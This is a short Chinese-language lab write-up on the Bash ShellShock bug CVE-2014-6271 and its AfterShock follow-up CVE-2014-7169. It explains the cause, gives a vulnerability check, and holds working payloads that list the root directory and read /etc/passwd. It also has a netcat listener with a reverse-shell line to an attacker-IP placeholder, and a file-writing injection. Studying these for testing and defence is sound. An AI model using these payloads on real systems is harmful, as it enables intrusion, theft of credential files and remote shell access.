VulApps-b

Bash ShellShock CVE-2014-6271

漏洞原理

https://www.antiy.com/response/CVE-2014-6271.html

​ 目前的bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以“(){”开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。核心的原因在于在输入的过滤中没有严格限制边界,没有做合法化的参数判断。

​ 目前的bash脚本是以通过导出环境变量的方式支持自定义函数,也可将自定义的bash函数传递给子相关进程。一般函数体内的代码是不会被执行,但此漏洞会错误的将“{}”花括号外的命令进行执行。

漏洞验证

1
env x='() { :;}; echo Vulnerable CVE-2014-6271 ' bash -c "echo test"

其中的:相当于/bin/true

即函数体相当于{true;}

对于存在漏洞的bash,则会打印出两句话,不存在漏洞的bash通常只能打印出test

命令执行:

1
2
x: () { :;};echo ; echo; echo $(/bin/ls -al /);
x: () { :;};a=`/bin/cat /etc/passwd`;echo $a'

疑问:第一行的语句ls -al换成lsls -als -l均不能正常回显

此外,第一行语句的前两个echo,暂时不能理解其意义,但是全删除了不能正常回显,至少保留一个

而使用安天提供的第二行语句,尝试ls -al则同样不能正常回显

反弹shell

1
2
nc -lv 8888#首先攻击者监听一个端口
x: () { :;}; /bin/bash -i >& /dev/tcp/攻击者的IP/8888 0>&1;#之后反弹一个shell向该端口

CVE-2014-7169 “AfterShock”

参考链接:https://bbs.ichunqiu.com/thread-8046-1-1.html

这上面说的挺详细的

在ShellShock被修复后,有人发现它没修理彻底

1
env X='() { (a)=>\' bash -c "test date"; cat test

这里,

X为一个变量,值为一个不完整的函数,函数体为(a)=,此时bash会报出错误

1
2
bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'

而其后的>\则会被保留,test date则会被换行,两者组合成

1
>test date

1
date >test

因此会在当前目录下产生test文件,保存date的输出,之后用cat调用。

同理可以将其修改成

1
env X='() { (a)=>\' bash -c "test ls /"; cat test